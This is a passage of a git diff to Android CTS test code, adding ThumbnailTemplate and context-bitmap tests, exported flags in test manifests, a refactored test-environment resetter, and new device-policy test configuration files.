  * See the License for the specific language governing permissions and
  * limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.contentsuggestions.cts"
-    android:targetSandboxVersion="2">
+     package="android.contentsuggestions.cts"
+     android:targetSandboxVersion="2">
 
     <application>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <service
-            android:name=".CtsContentSuggestionsService"
-            android:label="CtsContentSuggestionsService"
-            android:permission="android.permission.BIND_CONTENT_SUGGESTIONS_SERVICE">
+        <service android:name=".CtsContentSuggestionsService"
+             android:label="CtsContentSuggestionsService"
+             android:permission="android.permission.BIND_CONTENT_SUGGESTIONS_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.contentsuggestions.ContentSuggestionsService" />
+                <action android:name="android.service.contentsuggestions.ContentSuggestionsService"/>
             </intent-filter>
         </service>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for the ContentSuggestionsManager APIs."
-        android:targetPackage="android.contentsuggestions.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the ContentSuggestionsManager APIs."
+         android:targetPackage="android.contentsuggestions.cts">
     </instrumentation>
 
 </manifest>
diff --git a/tests/contentsuggestions/TEST_MAPPING b/tests/contentsuggestions/TEST_MAPPING
new file mode 100644
index 0000000..aaf01a4
--- /dev/null
+++ b/tests/contentsuggestions/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsContentSuggestionsTestCases"
+    }
+  ]
+}
diff --git a/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java b/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java
index 31b595a..c927c63 100644
--- a/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java
+++ b/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java
@@ -19,7 +19,7 @@
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
+import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.mockito.ArgumentMatchers.any;
@@ -32,6 +32,7 @@
 import android.app.contentsuggestions.ContentSuggestionsManager;
 import android.app.contentsuggestions.SelectionsRequest;
 import android.content.Context;
+import android.graphics.Bitmap;
 import android.os.Bundle;
 import android.util.Log;
 
@@ -48,6 +49,8 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import org.mockito.ArgumentCaptor;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executors;
 import java.util.concurrent.TimeUnit;
@@ -121,6 +124,26 @@
     }
 
     @Test
+    public void managerForwards_provideContextBitmap() {
+        int taskId = -1; // Explicit bitmap is provided; so task id is absent.
+
+        Bitmap expectedBitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
+        mManager.provideContextImage(expectedBitmap, new Bundle());
+        ArgumentCaptor<Bundle> bundleArg = ArgumentCaptor.forClass(Bundle.class);
+        ArgumentCaptor<Bitmap> bitmapArg = ArgumentCaptor.forClass(Bitmap.class);
+        verifyService().onProcessContextImage(eq(taskId), bitmapArg.capture(),
+            bundleArg.capture());
+        Bitmap actualBitmap = bundleArg.getValue().getParcelable(
+            ContentSuggestionsManager.EXTRA_BITMAP);
+
+        // Both the Bundle bitmap and the explicit bitmap should match the provided one.
+        assertThat(actualBitmap.getWidth()).isEqualTo(expectedBitmap.getWidth());
+        assertThat(actualBitmap.getHeight()).isEqualTo(expectedBitmap.getHeight());
+        assertThat(bitmapArg.getValue().getWidth()).isEqualTo(expectedBitmap.getWidth());
+        assertThat(bitmapArg.getValue().getHeight()).isEqualTo(expectedBitmap.getHeight());
+    }
+
+    @Test
     public void managerForwards_suggestContentSelections() {
         SelectionsRequest request = new SelectionsRequest.Builder(1).build();
         ContentSuggestionsManager.SelectionsCallback callback = (statusCode, selections) -> {};
diff --git a/tests/controls/Android.bp b/tests/controls/Android.bp
index ce8f00e..4b6c4ab 100644
--- a/tests/controls/Android.bp
+++ b/tests/controls/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsControlsDeviceTestCases",
     defaults: ["cts_defaults"],
@@ -40,4 +36,4 @@
 
     srcs: ["src/**/*.java"],
     sdk_version: "test_current",
-}
+}
\ No newline at end of file
diff --git a/tests/controls/AndroidManifest.xml b/tests/controls/AndroidManifest.xml
index 4ce024e..0862e62 100644
--- a/tests/controls/AndroidManifest.xml
+++ b/tests/controls/AndroidManifest.xml
@@ -15,21 +15,21 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.controls.cts">
+     package="android.controls.cts">
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="CtsControlsDeviceActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="CtsControlsDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.controls.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.controls.cts">
     </instrumentation>
 </manifest>
diff --git a/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java b/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
index 911ccc2..f0f22ae 100644
--- a/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
+++ b/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
@@ -60,9 +60,9 @@
     public void setUp() {
         mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, new Intent(),
-            PendingIntent.FLAG_UPDATE_CURRENT);
+            PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mPendingIntent2 = PendingIntent.getActivity(mContext, 2, new Intent(),
-            PendingIntent.FLAG_UPDATE_CURRENT);
+            PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mIcon = Icon.createWithResource(mContext, R.drawable.ic_device_unknown);
         mColorStateList = mContext.getResources().getColorStateList(R.color.custom_mower, null);
     }
diff --git a/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java b/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
index 2c0da02..5a18c9c 100644
--- a/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
+++ b/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
@@ -19,11 +19,13 @@
 import static junit.framework.Assert.assertTrue;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 
 import android.app.PendingIntent;
 import android.content.Context;
 import android.content.Intent;
+import android.graphics.drawable.Icon;
 import android.os.Parcel;
 import android.service.controls.Control;
 import android.service.controls.templates.ControlButton;
@@ -31,6 +33,7 @@
 import android.service.controls.templates.RangeTemplate;
 import android.service.controls.templates.StatelessTemplate;
 import android.service.controls.templates.TemperatureControlTemplate;
+import android.service.controls.templates.ThumbnailTemplate;
 import android.service.controls.templates.ToggleRangeTemplate;
 import android.service.controls.templates.ToggleTemplate;
 
@@ -44,18 +47,20 @@
 @RunWith(AndroidJUnit4.class)
 public class CtsControlTemplateTest {
 
+    private static final String PACKAGE_NAME = "android.controls.cts";
+    private static final int TEST_ICON_ID = R.drawable.ic_device_unknown;
     private static final String TEST_ID = "TEST_ID";
     private static final CharSequence TEST_ACTION_DESCRIPTION = "TEST_ACTION_DESCRIPTION";
     private ControlButton mControlButton;
-
+    private Icon mIcon;
     private PendingIntent mPendingIntent;
 
     @Before
     public void setUp() {
         Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
-
+        mIcon = Icon.createWithResource(PACKAGE_NAME, TEST_ICON_ID);
         mControlButton = new ControlButton(true, TEST_ACTION_DESCRIPTION);
-        mPendingIntent = PendingIntent.getActivity(context, 1, new Intent(), 0);
+        mPendingIntent = PendingIntent.getActivity(context, 1, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     @Test
@@ -108,6 +113,37 @@
     }
 
     @Test
+    public void testUnparcelingCorrectClass_thumbnail() {
+        ControlTemplate toParcel = new ThumbnailTemplate(
+                TEST_ID, false, mIcon, TEST_ACTION_DESCRIPTION);
+
+        ControlTemplate fromParcel = parcelAndUnparcel(toParcel);
+
+        assertEquals(ControlTemplate.TYPE_THUMBNAIL, fromParcel.getTemplateType());
+        assertTrue(fromParcel instanceof ThumbnailTemplate);
+    }
+
+    @Test
+    public void testThumbnailTemplate_isActive() {
+        ThumbnailTemplate template = new ThumbnailTemplate(
+                TEST_ID, false, mIcon, TEST_ACTION_DESCRIPTION);
+
+        assertFalse(template.isActive());
+
+        template = new ThumbnailTemplate(TEST_ID, true, mIcon, TEST_ACTION_DESCRIPTION);
+
+        assertTrue(template.isActive());
+    }
+
+    @Test
+    public void testThumbnailTemplate_getIcon() {
+        ThumbnailTemplate template = new ThumbnailTemplate(
+                TEST_ID, false, mIcon, TEST_ACTION_DESCRIPTION);
+
+        assertEquals(mIcon.getResId(), template.getThumbnail().getResId());
+    }
+
+    @Test
     public void testUnparcelingCorrectClass_toggleRange() {
         ControlTemplate toParcel = new ToggleRangeTemplate(TEST_ID, mControlButton,
                 new RangeTemplate(TEST_ID, 0, 2, 1, 1, "%f"));
diff --git a/tests/controls/src/android/controls/cts/CtsControlsService.java b/tests/controls/src/android/controls/cts/CtsControlsService.java
index 593394f..301c34e 100644
--- a/tests/controls/src/android/controls/cts/CtsControlsService.java
+++ b/tests/controls/src/android/controls/cts/CtsControlsService.java
@@ -36,6 +36,7 @@
 import android.service.controls.templates.RangeTemplate;
 import android.service.controls.templates.StatelessTemplate;
 import android.service.controls.templates.TemperatureControlTemplate;
+import android.service.controls.templates.ThumbnailTemplate;
 import android.service.controls.templates.ToggleRangeTemplate;
 import android.service.controls.templates.ToggleTemplate;
 
@@ -65,7 +66,7 @@
     public CtsControlsService() {
         mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, new Intent(),
-            PendingIntent.FLAG_UPDATE_CURRENT);
+            PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mIcon = Icon.createWithResource(mContext, R.drawable.ic_device_unknown);
         mColorStateList = mContext.getResources().getColorStateList(R.color.custom_mower, null);
 
@@ -76,6 +77,7 @@
         mAllControls.add(buildMower(false /* isStarted */));
         mAllControls.add(buildSwitch(false /* isOn */));
         mAllControls.add(buildGate(false /* isLocked */));
+        mAllControls.add(buildCamera(true /* isActive */));
 
         for (Control c : mAllControls) {
             mControlsById.put(c.getControlId(), c);
@@ -191,6 +193,19 @@
             .build();
     }
 
+    public Control buildCamera(boolean active) {
+        String description = active ? "Live" : "Not live";
+        ControlTemplate template = new ThumbnailTemplate("thumbnail", active, mIcon, description);
+        return new Control.StatefulBuilder("camera", mPendingIntent)
+                .setTitle("Camera Title")
+                .setTitle("Camera Subtitle")
+                .setStatus(Control.STATUS_OK)
+                .setStatusText(description)
+                .setDeviceType(DeviceTypes.TYPE_CAMERA)
+                .setControlTemplate(template)
+                .build();
+    }
+
     @Override
     public Publisher<Control> createPublisherForAllAvailable() {
         return new CtsControlsPublisher(mAllControls.stream()
diff --git a/tests/controls/src/android/controls/cts/CtsControlsServiceTest.java b/tests/controls/src/android/controls/cts/CtsControlsServiceTest.java
index 8ae32df..61ccef3 100644
--- a/tests/controls/src/android/controls/cts/CtsControlsServiceTest.java
+++ b/tests/controls/src/android/controls/cts/CtsControlsServiceTest.java
@@ -89,6 +89,8 @@
                 mControlsService.buildSwitch(false)).build());
         expectedControls.add(new Control.StatelessBuilder(
                 mControlsService.buildGate(false)).build());
+        expectedControls.add(new Control.StatelessBuilder(
+                mControlsService.buildCamera(true)).build());
 
         assertControlsList(loadedControls, expectedControls);
     }
diff --git a/tests/core/runner-axt/Android.bp b/tests/core/runner-axt/Android.bp
index b5ae781..af2a835 100644
--- a/tests/core/runner-axt/Android.bp
+++ b/tests/core/runner-axt/Android.bp
@@ -18,10 +18,6 @@
 
 // temporary cts-core-test-runner variant that brings in androidx.test transitively, instead
 // of android.support.test target. Will be removed after androidx.test CTS conversion is complete.
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "cts-core-test-runner-axt",
 
diff --git a/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java b/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java
index db36213..0822ca2 100644
--- a/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java
+++ b/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java
@@ -41,7 +41,6 @@
 import java.net.Authenticator;
 import java.net.CookieHandler;
 import java.net.ResponseCache;
-import java.text.DateFormat;
 import java.util.Locale;
 import java.util.Properties;
 import java.util.TimeZone;
@@ -187,23 +186,80 @@
         }
     }
 
-    // http://code.google.com/p/vogar/source/browse/trunk/src/vogar/target/TestEnvironment.java
-    static class TestEnvironment {
-        private static final Field sDateFormatIs24HourField;
-        static {
+    private interface TestEnvironmentResetter {
+        Boolean getDateFormatIs24Hour();
+        void setDateFormatIs24Hour(Boolean value);
+        Properties createDefaultProperties();
+    }
+
+    private static class AndroidTestEnvironmentResetter implements TestEnvironmentResetter {
+        private final Field mDateFormatIs24HourField;
+
+        AndroidTestEnvironmentResetter() {
             try {
                 Class<?> dateFormatClass = Class.forName("java.text.DateFormat");
-                sDateFormatIs24HourField = dateFormatClass.getDeclaredField("is24Hour");
+                mDateFormatIs24HourField = dateFormatClass.getDeclaredField("is24Hour");
             } catch (ReflectiveOperationException e) {
                 throw new AssertionError("Missing DateFormat.is24Hour", e);
             }
         }
 
+        @Override
+        public Boolean getDateFormatIs24Hour() {
+            try {
+                return (Boolean) mDateFormatIs24HourField.get(null);
+            } catch (ReflectiveOperationException e) {
+                throw new AssertionError("Unable to get java.text.DateFormat.is24Hour", e);
+            }
+        }
+
+        @Override
+        public void setDateFormatIs24Hour(Boolean value) {
+            try {
+                mDateFormatIs24HourField.set(null, value);
+            } catch (ReflectiveOperationException e) {
+                throw new AssertionError("Unable to set java.text.DateFormat.is24Hour", e);
+            }
+        }
+
+        @Override
+        public Properties createDefaultProperties() {
+            return new Properties();
+        }
+    }
+
+    private static class StubTestEnvironmentResetter implements TestEnvironmentResetter {
+        @Override
+        public Boolean getDateFormatIs24Hour() {
+            return false;
+        }
+
+        @Override
+        public void setDateFormatIs24Hour(Boolean value) {
+        }
+
+        @Override
+        public Properties createDefaultProperties() {
+            return System.getProperties();
+        }
+    }
+
+    // http://code.google.com/p/vogar/source/browse/trunk/src/vogar/target/TestEnvironment.java
+    static class TestEnvironment {
+        private final static TestEnvironmentResetter sTestEnvironmentResetter;
+        static {
+            if (System.getProperty("java.vendor").toLowerCase().contains("android")) {
+                sTestEnvironmentResetter = new AndroidTestEnvironmentResetter();
+            } else {
+                sTestEnvironmentResetter = new StubTestEnvironmentResetter();
+            }
+        }
+
         private final Locale mDefaultLocale;
         private final TimeZone mDefaultTimeZone;
         private final HostnameVerifier mHostnameVerifier;
         private final SSLSocketFactory mSslSocketFactory;
-        private final Properties mProperties = new Properties();
+        private final Properties mProperties;
         private final Boolean mDefaultIs24Hour;
 
         TestEnvironment(Context context) {
@@ -212,6 +268,7 @@
             mHostnameVerifier = HttpsURLConnection.getDefaultHostnameVerifier();
             mSslSocketFactory = HttpsURLConnection.getDefaultSSLSocketFactory();
 
+            mProperties = sTestEnvironmentResetter.createDefaultProperties();
             mProperties.setProperty("user.home", "");
             mProperties.setProperty("java.io.tmpdir", context.getCacheDir().getAbsolutePath());
             // The CDD mandates that devices that support WiFi are the only ones that will have
@@ -219,7 +276,7 @@
             PackageManager pm = context.getPackageManager();
             mProperties.setProperty("android.cts.device.multicast",
                     Boolean.toString(pm.hasSystemFeature(PackageManager.FEATURE_WIFI)));
-            mDefaultIs24Hour = getDateFormatIs24Hour();
+            mDefaultIs24Hour = sTestEnvironmentResetter.getDateFormatIs24Hour();
 
             // There are tests in libcore that should be disabled for low ram devices. They can't
             // access ActivityManager to call isLowRamDevice, but can read system properties.
@@ -239,24 +296,7 @@
             ResponseCache.setDefault(null);
             HttpsURLConnection.setDefaultHostnameVerifier(mHostnameVerifier);
             HttpsURLConnection.setDefaultSSLSocketFactory(mSslSocketFactory);
-            setDateFormatIs24Hour(mDefaultIs24Hour);
-        }
-
-        private static Boolean getDateFormatIs24Hour() {
-            try {
-                return (Boolean) sDateFormatIs24HourField.get(null);
-            } catch (ReflectiveOperationException e) {
-                throw new AssertionError("Unable to get java.text.DateFormat.is24Hour", e);
-            }
-        }
-
-        private static void setDateFormatIs24Hour(Boolean value) {
-            try {
-                sDateFormatIs24HourField.set(null, value);
-            } catch (ReflectiveOperationException e) {
-                throw new AssertionError("Unable to set java.text.DateFormat.is24Hour", e);
-            }
+            sTestEnvironmentResetter.setDateFormatIs24Hour(mDefaultIs24Hour);
         }
     }
-
 }
diff --git a/tests/devicepolicy/Android.bp b/tests/devicepolicy/Android.bp
new file mode 100644
index 0000000..b3bd6cf
--- /dev/null
+++ b/tests/devicepolicy/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsDevicePolicyTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+        "androidx.test.ext.junit",
+        "testng", // used for assertThrows
+        // TODO: Remove this once we remove ui automator usage
+        "androidx.test.uiautomator_uiautomator",
+        "EventLib",
+        "ActivityContext",
+        "Harrier"
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    test_options: {
+        extra_test_configs: ["DevicePolicyWorkProfileTest.xml", "DevicePolicySecondaryUserTest.xml"]
+    },
+    sdk_version: "test_current",
+}
diff --git a/tests/devicepolicy/AndroidManifest.xml b/tests/devicepolicy/AndroidManifest.xml
new file mode 100644
index 0000000..65efd14
--- /dev/null
+++ b/tests/devicepolicy/AndroidManifest.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.devicepolicy.cts"
+          android:targetSandboxVersion="2">
+
+    <application android:testOnly="true">
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name=".MainActivity"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name=".NonMainActivity"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="nonMainActivity"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name=".NonExportedActivity"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+
+        <!-- TODO(177657337): Use AOSP target to mark the app as DeviceAdmin once ready-->
+        <receiver android:name="android.devicepolicy.cts.CtsDeviceAdminReceiver"
+                  android:permission="android.permission.BIND_DEVICE_ADMIN"
+                  android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                       android:resource="@xml/device_admin"/>
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+            </intent-filter>
+        </receiver>
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.devicepolicy.cts"
+                     android:label="CTS tests for device policy" />
+</manifest>
diff --git a/tests/devicepolicy/AndroidTest.xml b/tests/devicepolicy/AndroidTest.xml
new file mode 100644
index 0000000..534ce53
--- /dev/null
+++ b/tests/devicepolicy/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Device Policy test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <!-- Instant apps can never be device admin / profile owner / device owner so positive tests
+         here are not applicable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="install-arg" value="-t" />
+        <option name="test-file-name" value="CtsDevicePolicyTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.devicepolicy.cts" />
+        <option name="exclude-annotation" value="com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile" />
+        <option name="exclude-annotation" value="com.android.compatibility.common.util.enterprise.annotations.RequireRunOnSecondaryUser" />
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/tests/devicepolicy/DevicePolicySecondaryUserTest.xml b/tests/devicepolicy/DevicePolicySecondaryUserTest.xml
new file mode 100644
index 0000000..5fa6f0b
--- /dev/null
+++ b/tests/devicepolicy/DevicePolicySecondaryUserTest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS Device Policy test cases on a secondary user">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <!-- Instant apps can never be device admin / profile owner / device owner so positive tests
+         here are not applicable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="install-arg" value="-t" />
+        <option name="test-file-name" value="CtsDevicePolicyTestCases.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.RunOnSecondaryUserTargetPreparer">
+        <option name="test-package-name" value="android.devicepolicy.cts" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.devicepolicy.cts" />
+        <option name="include-annotation" value="com.android.compatibility.common.util.enterprise.annotations.RequireRunOnSecondaryUser" />
+        <!--        <option name="instrumentation-arg" key="skip-test-teardown" value="true" />-->
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/tests/devicepolicy/DevicePolicyWorkProfileTest.xml b/tests/devicepolicy/DevicePolicyWorkProfileTest.xml
new file mode 100644
index 0000000..aa882be
--- /dev/null
+++ b/tests/devicepolicy/DevicePolicyWorkProfileTest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Device Policy test cases on a work profile">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <!-- Instant apps can never be device admin / profile owner / device owner so positive tests
+         here are not applicable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="install-arg" value="-t" />
+        <option name="test-file-name" value="CtsDevicePolicyTestCases.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.RunOnWorkProfileTargetPreparer">
+        <option name="test-package-name" value="android.devicepolicy.cts" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.devicepolicy.cts" />
+        <option name="include-annotation" value="com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile" />
+<!--        <option name="instrumentation-arg" key="skip-test-teardown" value="true" />-->
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/tests/devicepolicy/OWNERS b/tests/devicepolicy/OWNERS
new file mode 100644
index 0000000..b37176e
--- /dev/null
+++ b/tests/devicepolicy/OWNERS
@@ -0,0 +1,7 @@
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
+alexkershaw@google.com
+eranm@google.com
+rubinxu@google.com
+sandness@google.com
+pgrafov@google.com
+scottjonathan@google.com
diff --git a/tests/devicepolicy/res/layout/main.xml b/tests/devicepolicy/res/layout/main.xml
new file mode 100644
index 0000000..af2bb77
--- /dev/null
+++ b/tests/devicepolicy/res/layout/main.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+
+    <TextView
+        android:id="@+id/user_textview"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+    />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/devicepolicy/res/xml/device_admin.xml b/tests/devicepolicy/res/xml/device_admin.xml
new file mode 100644
index 0000000..b7651b4
--- /dev/null
+++ b/tests/devicepolicy/res/xml/device_admin.xml
@@ -0,0 +1,21 @@
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+    <uses-policies>
